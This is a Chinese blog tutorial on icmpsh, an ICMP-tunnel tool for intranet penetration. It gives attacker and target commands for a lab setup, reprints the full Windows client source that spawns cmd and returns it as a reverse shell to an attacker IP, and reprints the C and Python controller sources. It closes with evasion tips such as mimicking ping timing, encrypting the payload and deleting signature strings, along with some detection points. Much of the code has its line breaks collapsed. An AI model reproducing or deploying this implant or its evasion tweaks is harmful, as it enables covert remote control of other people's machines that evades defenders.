目录

  • 前言
  • 一、概述
    • 1、简介
    • 2、原理
    • 3、使用
  • 二、实践
    • 1、场景
    • 2、建立隧道
      • (1)攻击机
      • (2)目标机
      • (3)隧道建立成功
    • 3、抓包看看
  • 三、探索
    • 1、源码与分析
      • (1)客户端
      • (2)服务端
    • 2、检测与绕过
      • (1)异常ICMP数据包数量
      • (2)payload内容
      • (3)cmd进程
      • (4)dll
  • 结语

前言

本文研究ICMP隧道的一个工具,icmpsh

github:https://github.com/bdamele/icmpsh

一、概述

1、简介

最后更新于2013年,能通过ICMP协议请求/回复报文反弹cmd,不需要指定服务或者端口,也不用管理员权限,但反弹回来的cmd极不稳定

  • 受控端(客户端)使用C语言实现,只能运行在目标Windows机器上
  • 主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。

条件:

  • 目标机可以ping出来
  • 目标机是windows

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

客户端开启cmd进程,通过pipe放入icmp隧道进程,将命令和回显放进data。有一点比较好的是将内容拆分,限制了每个包的时间间隔和长度

3、使用

首先都要关闭内核对ping的响应:

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all

icmpsh提供了以下选项:

-t host            必须的,客户端指定服务端
-r                 发送 "Test1234" 字符串进行测试
-d milliseconds    requests之间间隔毫秒级时间
-o milliseconds    设置毫秒级最大响应时间
-b num             blanks的数量
-s bytes           最大数据缓冲区大小

服务端(攻击机)执行

python icmpsh_m.py <attacker's-IP> <target-IP>

客户端(目标机,win)执行

icmpsh.exe -t <attacker's-IP>

然后就建立了隧道

二、实践

1、场景

攻击机:kali 192.168.227.129
目标机:windows7 192.168.227.128

目标机能ping通攻击机

2、建立隧道

(1)攻击机

关闭内核对ping的响应并启动隧道:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
python icmpsh_m.py 192.168.227.129 192.168.227.128

(2)目标机

建立隧道

icmpsh.exe -t 192.168.227.129

(3)隧道建立成功

成功建立隧道并反弹shell

可以发现对中文名不友好

3、抓包看看

连接上迅速反弹shell

dir命令,发现是分散到每个心跳包里,限制了长度和频率

三、探索

1、源码与分析

(1)客户端

C语言
cmd的进程通过pipe放入icmp包的data,icmp包的创建是调用icmp_create


#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h> //这个包可以注意下
#include <iphlpapi.h>#define ICMP_HEADERS_SIZE    (sizeof(ICMP_ECHO_REPLY) + 8)#define STATUS_OK                 0
#define STATUS_SINGLE               1
#define STATUS_PROCESS_NOT_CREATED  2#define TRANSFER_SUCCESS           1
#define TRANSFER_FAILURE            0#define DEFAULT_TIMEOUT                3000
#define DEFAULT_DELAY               200
#define DEFAULT_MAX_BLANKS          10
#define DEFAULT_MAX_DATA_SIZE       64FARPROC icmp_create, icmp_send, to_ip; //远调用,段寄存器入栈,ip入栈,这是不是也是可以关注的点int verbose = 0;// 创建cmd的进程,并设置进程管道
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{SECURITY_ATTRIBUTES sattr;STARTUPINFOA si; //指定新进程的特性HANDLE in_read, out_write;memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));memset(pi, 0x00, sizeof(PROCESS_INFORMATION));// create communication pipes  memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));sattr.nLength = sizeof(SECURITY_ATTRIBUTES); sattr.bInheritHandle = TRUE; sattr.lpSecurityDescriptor = NULL; if (!CreatePipe(out_read, &out_write, &sattr, 0)) {return STATUS_PROCESS_NOT_CREATED;}if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { //关闭内核对象out_read句柄的继承标志return STATUS_PROCESS_NOT_CREATED;}if (!CreatePipe(&in_read, in_write, &sattr, 0)) {return STATUS_PROCESS_NOT_CREATED;}if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {return STATUS_PROCESS_NOT_CREATED;}// spawn processmemset(&si, 0x00, sizeof(STARTUPINFO));si.cb = sizeof(STARTUPINFO); si.hStdError = out_write;si.hStdOutput = out_write;si.hStdInput = in_read;si.dwFlags |= STARTF_USESTDHANDLES;if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {return STATUS_PROCESS_NOT_CREATED;}CloseHandle(out_write);CloseHandle(in_read);return STATUS_OK;
}void usage(char *path)
{printf("%s [options] -t target\n", path);printf("options:\n");printf("  -t host            host ip address to send ping requests to\n");printf("  -r                 send a single test icmp request and then quit\n");printf("  -d milliseconds    delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);printf("  -o milliseconds    timeout in milliseconds\n");printf("  -h                 this screen\n");printf("  -b num             maximal number of blanks (unanswered icmp requests)\n");printf("                     before quitting\n");printf("  -s bytes           maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);printf("In order to improve the speed, lower the delay (-d) between requests or\n");printf("increase the size (-s) of the data buffer\n");
}void create_icmp_channel(HANDLE *icmp_chan)
{// create icmp file*icmp_chan = (HANDLE) icmp_create();
}int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{int rs;char *temp_in_buf;int nbytes;PICMP_ECHO_REPLY echo_reply;temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);if (!temp_in_buf) {return TRANSFER_FAILURE;}// send data to remote hostrs = icmp_send(icmp_chan,target,out_buf,out_buf_size,NULL,temp_in_buf,max_in_data_size + ICMP_HEADERS_SIZE,timeout);// check received dataif (rs > 0) {echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;if (echo_reply->DataSize > max_in_data_size) {nbytes = max_in_data_size;} else {nbytes = echo_reply->DataSize;}memcpy(in_buf, echo_reply->Data, nbytes);*in_buf_size = nbytes;free(temp_in_buf);return TRANSFER_SUCCESS;}free(temp_in_buf);return TRANSFER_FAILURE;
}int load_deps() //加载dll
{HMODULE lib;lib = LoadLibraryA("ws2_32.dll"); //显式链接到 DLL,用于支持Internet和网络应用程序if (lib != NULL) {to_ip = GetProcAddress(lib, "inet_addr"); //获取 DLL 导出函数的地址if (!to_ip) {   return 0;}}lib = LoadLibraryA("iphlpapi.dll"); // 用来获取、设置网络相关参数的动态链接库文件if (lib != NULL) {icmp_create = GetProcAddress(lib, "IcmpCreateFile");icmp_send = GetProcAddress(lib, "IcmpSendEcho");if (icmp_create && icmp_send) {return 1;}} lib = LoadLibraryA("ICMP.DLL");if (lib != NULL) {icmp_create = GetProcAddress(lib, "IcmpCreateFile");icmp_send = GetProcAddress(lib, "IcmpSendEcho");if (icmp_create && icmp_send) {return 1;}}printf("failed to load functions (%u)", GetLastError());return 0;
}
int main(int argc, char **argv)
{int opt;char *target;unsigned int delay, timeout;unsigned int ip_addr;HANDLE pipe_read, pipe_write;HANDLE icmp_chan;unsigned char *in_buf, *out_buf;unsigned int in_buf_size, out_buf_size;DWORD rs;int blanks, max_blanks;PROCESS_INFORMATION pi;int status;unsigned int max_data_size;struct hostent *he;// set defaultstarget = 0;timeout = DEFAULT_TIMEOUT;delay = DEFAULT_DELAY;max_blanks = DEFAULT_MAX_BLANKS;max_data_size = DEFAULT_MAX_DATA_SIZE;status = STATUS_OK;if (!load_deps()) {printf("failed to load ICMP library\n");return -1;}// parse command line optionsfor (opt = 1; opt < argc; opt++) {if (argv[opt][0] == '-') {switch(argv[opt][1]) {case 'h':usage(*argv);return 0;case 't':if (opt + 1 < argc) {target = argv[opt + 1];}break;case 'd':if (opt + 1 < argc) {delay = atol(argv[opt + 1]);}break;case 'o':if (opt + 1 < argc) {timeout = atol(argv[opt + 1]);}break;case 'r':status = STATUS_SINGLE;break;case 'b':if (opt + 1 < argc) {max_blanks = atol(argv[opt + 1]);}break;case 's':if (opt + 1 < argc) {max_data_size = atol(argv[opt + 1]);}break;default:printf("unrecognized option -%c\n", argv[1][0]);usage(*argv);return -1;}}}if (!target) {printf("you need to specify a host with -t. Try -h for more options\n");return -1;}ip_addr = to_ip(target);// don't spawn a shell if we're only sending a single test requestif (status != STATUS_SINGLE) {status = spawn_shell(&pi, &pipe_read, &pipe_write);}// create icmp channelcreate_icmp_channel(&icmp_chan);if (icmp_chan == INVALID_HANDLE_VALUE) {printf("unable to create ICMP file: %u\n", GetLastError());return -1;}// allocate transfer buffersin_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);if (!in_buf || !out_buf) {printf("failed to allocate memory for transfer buffers\n");return -1;}memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);// sending/receiving loopblanks = 0;do {switch(status) {case STATUS_SINGLE:// reply with a static stringout_buf_size = sprintf(out_buf, "Test1234\n");break;case STATUS_PROCESS_NOT_CREATED:// reply with error messageout_buf_size = sprintf(out_buf, "Process was not created\n");break;default:// read data from process via pipeout_buf_size = 0;if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {if (out_buf_size > 0) {out_buf_size = 0;rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);if (!rs && GetLastError() != ERROR_IO_PENDING) {out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());} }} else {out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());}break;}// send request/receive responseif (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size,  max_data_size, timeout) == TRANSFER_SUCCESS) {if (status == STATUS_OK) {// write data from response back into pipeWriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);}blanks = 0;} else {// no reply received or error occuredblanks++;}// wait between requestsSleep(delay);} while (status == STATUS_OK && blanks < max_blanks);if (status == STATUS_OK) {TerminateProcess(pi.hProcess, 0);}return 0;
}

(2)服务端

主要是non-blocking,然后ICMP的socket,读取内容后,简单修改header,再填充data发送

C语言

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h> //这里的调包是不是可以作为检测点
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>#define IN_BUF_SIZE   1024
#define OUT_BUF_SIZE  64// calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes)
{unsigned long sum;unsigned short oddbyte, rs;sum = 0;while(nbytes > 1) {sum += *ptr++;nbytes -= 2;}if(nbytes == 1) {oddbyte = 0;*((unsigned char *) &oddbyte) = *(u_char *)ptr;sum += oddbyte;}sum  = (sum >> 16) + (sum & 0xffff);sum += (sum >> 16);rs = ~sum;return rs;
}int main(int argc, char **argv)
{int sockfd;int flags;char in_buf[IN_BUF_SIZE];char out_buf[OUT_BUF_SIZE];unsigned int out_size;int nbytes;struct iphdr *ip;struct icmphdr *icmp;char *data;struct sockaddr_in addr;printf("icmpsh - master\n"); //这种特征性字符串可以删掉// create raw ICMP socketsockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);if (sockfd == -1) {perror("socket");return -1;}// set stdin to non-blockingflags = fcntl(0, F_GETFL, 0);flags |= O_NONBLOCK;fcntl(0, F_SETFL, flags);printf("running...\n");while(1) {// read data from socketmemset(in_buf, 0x00, IN_BUF_SIZE);nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);if (nbytes > 0) {// get ip and icmp header and data partip = (struct iphdr *) in_buf;if (nbytes > sizeof(struct iphdr)) {nbytes -= sizeof(struct iphdr);icmp = (struct icmphdr *) (ip + 1);if (nbytes > sizeof(struct icmphdr)) {nbytes -= sizeof(struct icmphdr);data = (char *) (icmp + 1);data[nbytes] = '\0';printf("%s", data);fflush(stdout);}// reuse headersicmp->type = 0; //设为echoaddr.sin_family = AF_INET;addr.sin_addr.s_addr = ip->saddr;// read data from stdinnbytes = read(0, out_buf, OUT_BUF_SIZE);if (nbytes > -1) {memcpy((char *) (icmp + 1), out_buf, nbytes);out_size = nbytes;} else {out_size = 0;}icmp->checksum = 0x00;icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);// send replynbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));if (nbytes == -1) {perror("sendto");return -1;}        }}}return 0;
}

python
有个impacket包很厉害的样子

import os
import select
import socket
import subprocess
import sysdef setNonBlocking(fd):"""Make a file descriptor non-blocking"""# 同样使non-blockingimport fcntlflags = fcntl.fcntl(fd, fcntl.F_GETFL)flags = flags | os.O_NONBLOCKfcntl.fcntl(fd, fcntl.F_SETFL, flags)def main(src, dst):if subprocess.mswindows:sys.stderr.write('icmpsh master can only run on Posix systems\n')sys.exit(255)try:from impacket import ImpactDecoderfrom impacket import ImpactPacketexcept ImportError:sys.stderr.write('You need to install Python Impacket library first\n')sys.exit(255)# Make standard input a non-blocking filestdin_fd = sys.stdin.fileno()setNonBlocking(stdin_fd)# Open one socket for ICMP protocol# A special option is set on the socket so that IP headers are included# with the returned datatry:sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)except socket.error, e:sys.stderr.write('You need to run icmpsh master with administrator privileges\n')sys.exit(1)sock.setblocking(0)sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)# Create a new IP packet and set its source and destination addressesip = ImpactPacket.IP()ip.set_ip_src(src)ip.set_ip_dst(dst)# Create a new ICMP packet of type ECHO REPLYicmp = ImpactPacket.ICMP()icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)# Instantiate an IP packets decoderdecoder = ImpactDecoder.IPDecoder()while 1:cmd = ''# Wait for incoming repliesif sock in select.select([ sock ], [], [])[0]:buff = sock.recv(4096)if 0 == len(buff):# Socket remotely closedsock.close()sys.exit(0)# Packet received; decode and display itippacket = decoder.decode(buff)icmppacket = ippacket.child()# If the packet matches, report it to the userif ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type(): # 收到的是reply# Get identifier and sequence numberident = icmppacket.get_icmp_id()seq_id = icmppacket.get_icmp_seq()data = icmppacket.get_data_as_string()if len(data) > 0:sys.stdout.write(data)# Parse command from standard inputtry:cmd = sys.stdin.readline()except:passif cmd == 'exit\n':return# Set sequence number and identifiericmp.set_icmp_id(ident)icmp.set_icmp_seq(seq_id)# Include the command as data inside the ICMP packeticmp.contains(ImpactPacket.Data(cmd))# Calculate its checksumicmp.set_icmp_cksum(0)icmp.auto_checksum = 1# Have the IP packet contain the ICMP packet (along with its payload)ip.contains(icmp)# Send it to the target hostsock.sendto(ip.get_packet(), (dst, 0))if __name__ == '__main__':if len(sys.argv) < 3:msg = 'missing mandatory options. Execute as root:\n'msg += './icmpsh-m.py <source IP address> <destination IP address>\n'sys.stderr.write(msg)sys.exit(1)main(sys.argv[1], sys.argv[2])

2、检测与绕过

(1)异常ICMP数据包数量

如图,心跳包0.2s一个

这个可以改为和ping的时间间隔一样

(2)payload内容

长度已经限制了
那么就是内容了确实是不同的


正常ping命令:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

这里混淆加密,会不会好点

(3)cmd进程

可以关注cmd进程是否被开启

(4)dll

可以关注几个dll的链接

结语

可以认为是很简单的icmp隧道了

内网渗透系列:内网隧道之icmpsh相关推荐

  1. 内网渗透系列:内网隧道之ICMP隧道

    目录 前言 一.ICMP隧道技术 1.ICMP协议 (1)报文格式 (2)ping 2.ICMP隧道 (1)原理 (2)优缺点 二.ICMP隧道工具 1.icmpsh (1)源码 (2)用法 2.ic ...

  2. 内网渗透系列:内网隧道之pingtunnel

    目录 前言 一.概述 1.简介 2.原理 3.使用 (1)直连出网 (2)跳板出网 二.实践 1.场景 2.建立隧道 (1)攻击机 (2)目标机 (3)nc 3.抓包看看 三.探索 1.源码与分析 ( ...

  3. 内网渗透系列:内网信息搜集方法小结2

    目录 前言 一.本机信息搜集 1.用户列表 (1)windows用户列表 (2)分析邮件用户 2.进程列表 3.服务列表 4.端口列表 5.补丁列表 6.本机共享 7.本用户习惯分析 8.获取当前用户 ...

  4. 内网渗透系列之mimikatz的使用以及后门植入

    内网渗透系列之mimikatz的使用以及后门植入 文章目录 内网渗透系列之mimikatz的使用以及后门植入 前言 mimikatz的使用 后门植入 msf永久后门植入 (1)Meterpreter后 ...

  5. 内网渗透系列:信息搜集方法小结2

    目录 前言 一.开源情报(OSINT) 1.whois/反查/相关资产 2.github敏感信息 (1)github邮箱密码爬取 (2)GSIL (3)x-patrol 3.google hackin ...

  6. 内网渗透-Linux内网渗透

    系列文章目录 文章目录 系列文章目录 一.Linux内网渗透 二.提权 2.1 利用内核漏洞进行提权 2.2 利用文件权限配置不当进行提权 2.3 利用SUID程序进行提权 三.隧道 3.1 SSH ...

  7. 内网渗透(十三)之内网信息收集-收集域环境中的基本信息

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

  8. 内网渗透-Windows内网渗透

    内网渗透-Windows内网渗透 文章目录 内网渗透-Windows内网渗透 前言 一.信息收集 1.1.SPN 1.2.端口连接 1.3.配置文件 1.4.用户信息 1.6.会话收集 1.7.凭据收 ...

  9. ipv6 访问内网_【内网渗透】—— 隐藏通信隧道技术之网络层隧道技术

    hidden:是否完全隐藏控制面板,还有很多设置参数,比如也可以设置显示面板,然后设置宽高WIDTH="整数" 和 HIGH="整数". 1. 隐藏通信隧道基础 ...

最新文章

  1. Git使用笔记(一)
  2. HTTP权威指南记录 ---- Web服务器
  3. c语言中的static变量和static函数
  4. 隔离级别(未提交读、提交读、可重复读、可串行化)、多版本并发控制、Next-Key Locks(Record Locks、Gap Locks)
  5. liferay6.2 struts2 request.getparameter取值为null
  6. 监控程序崩溃重启_Bug 10 重启和正常输入的抉择记录
  7. 计算机应用等级考试1,计算机等级考试一级试题
  8. 3月份Github上最热门的Python开源项目
  9. 面向对象(类,面向对象三大特性)
  10. springboot 控制台输出错误信息_SpringBoot 三招组合拳,手把手教你打出优雅的后端接口...
  11. idea重写接口没有@override_【自学C#】|| 笔记 19 接口
  12. Motorola(摩托罗拉)比较不错的机子,直接秒杀诺基亚N8,不看看你会后悔的哦。。。...
  13. iis 服务器修复,如何修复未找到的Windows 10 inetmgr(IIS管理器)
  14. 2021中兴捧月神算师算法赛,4-24第一场,第一题:A - 跳高,2021-4-27
  15. 很多人生哲理好句子分享
  16. nyoj-975-关于521
  17. OTA分类 OTA升级方式(乒乓、压缩、差分)
  18. windows cmd打开新窗口关闭窗口
  19. Burp Suite设置浏览器代理
  20. 我的专业和梦想计算机,2019,我们有很厉害的梦想与计划

热门文章

  1. 阿里巴巴正式开源云原生应用脚手架
  2. poj1190 生日蛋糕 dfs
  3. 避免在移动端页面中使用100vh
  4. height:100vh,width:100vw
  5. Android安装应用和跳转(WhatsApp)应用简单记录
  6. 流体力学中动力粘度和运动粘度的定义和区别
  7. 面试心经01--大数据开发工程师
  8. 应用层级时空记忆模型(HTM)实现对实时异常流时序数据检测
  9. Wish3D·Earth
  10. openstack虚拟机断电导致-硬盘损坏修复xfs